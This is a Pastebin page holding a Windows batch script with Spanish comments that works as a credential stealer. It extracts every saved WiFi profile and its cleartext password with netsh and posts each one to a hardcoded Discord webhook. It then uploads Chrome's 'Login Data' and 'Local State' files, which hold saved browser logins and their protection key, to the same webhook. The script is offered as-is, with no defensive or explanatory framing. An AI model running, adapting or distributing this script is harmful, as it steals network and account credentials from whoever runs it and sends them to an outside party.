Advertisement
eneko42

enviar_wifi_webhook

Jun 27th, 2024
651
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 2.08 KB | None | 0 0
  1. @echo off
  2. setlocal enabledelayedexpansion
  3.  
  4. rem URL de la webhook de Discord
  5. set webhook_url=https://discord.com/api/webhooks/1248264179861946529/0NJ9hbaDTsksrOfOZK7Kcl-od6eEs_aEKIyQc3EVtjgJ-ThYcADYG4Ms9e926ugrcHlI
  6.  
  7. rem Crear un archivo temporal para el contenido JSON
  8. set temp_json=temp.json
  9.  
  10. rem Enviar mensaje inicial
  11. echo {^"content^":^"**__-----Extrayendo Datos-----__**^"} > %temp_json%
  12. curl --insecure -H "Content-Type: application/json" -X POST -d @%temp_json% !webhook_url!
  13.  
  14. rem Enviar mensaje de inicio de extracción de redes WiFi
  15. echo {^"content^":^"**__REDES WIFI GUARDADAS:__**^"} > %temp_json%
  16. curl --insecure -H "Content-Type: application/json" -X POST -d @%temp_json% !webhook_url!
  17.  
  18. rem Obtener la lista de perfiles de red
  19. for /f "tokens=2 delims=:" %%i in ('netsh wlan show profiles ^| findstr "Perfil de todos los usuarios"') do (
  20.     set profile=%%i
  21.     set profile=!profile:~1!
  22.  
  23.     rem Obtener la contraseña de cada perfil
  24.     for /f "tokens=2 delims=:" %%j in ('netsh wlan show profile name^="!profile!" key^=clear ^| findstr /C:"Contenido de la clave"') do (
  25.         set key=%%j
  26.         set key=!key:~1!
  27.         set message=Nombre de perfil: !profile! Contraseña: !key!
  28.  
  29.         rem Escapar caracteres especiales
  30.         set message=!message:^"=\"^"!
  31.  
  32.         rem Crear el contenido JSON en el archivo temporal
  33.         echo {^"content^":^"!message!^"} > %temp_json%
  34.  
  35.         rem Enviar el mensaje a la webhook de Discord
  36.         curl --insecure -H "Content-Type: application/json" -X POST -d @%temp_json% !webhook_url!
  37.     )
  38. )
  39.  
  40. rem Eliminar el archivo temporal
  41. del %temp_json%
  42.  
  43. rem Enviar archivos Login Data y Local State
  44.  
  45. rem Navegar al directorio del archivo Login Data
  46. cd "%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default"
  47.  
  48. rem Enviar el archivo Login Data a la webhook
  49. curl --insecure -F "file=@Login Data" %webhook_url%
  50.  
  51. rem Navegar al directorio del archivo Local State
  52. cd ..
  53.  
  54. rem Enviar el archivo Local State a la webhook
  55. curl --insecure -F "file=@Local State" %webhook_url%
  56.  
  57. rem Mensaje de finalización
  58. echo Proceso completado.
  59.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement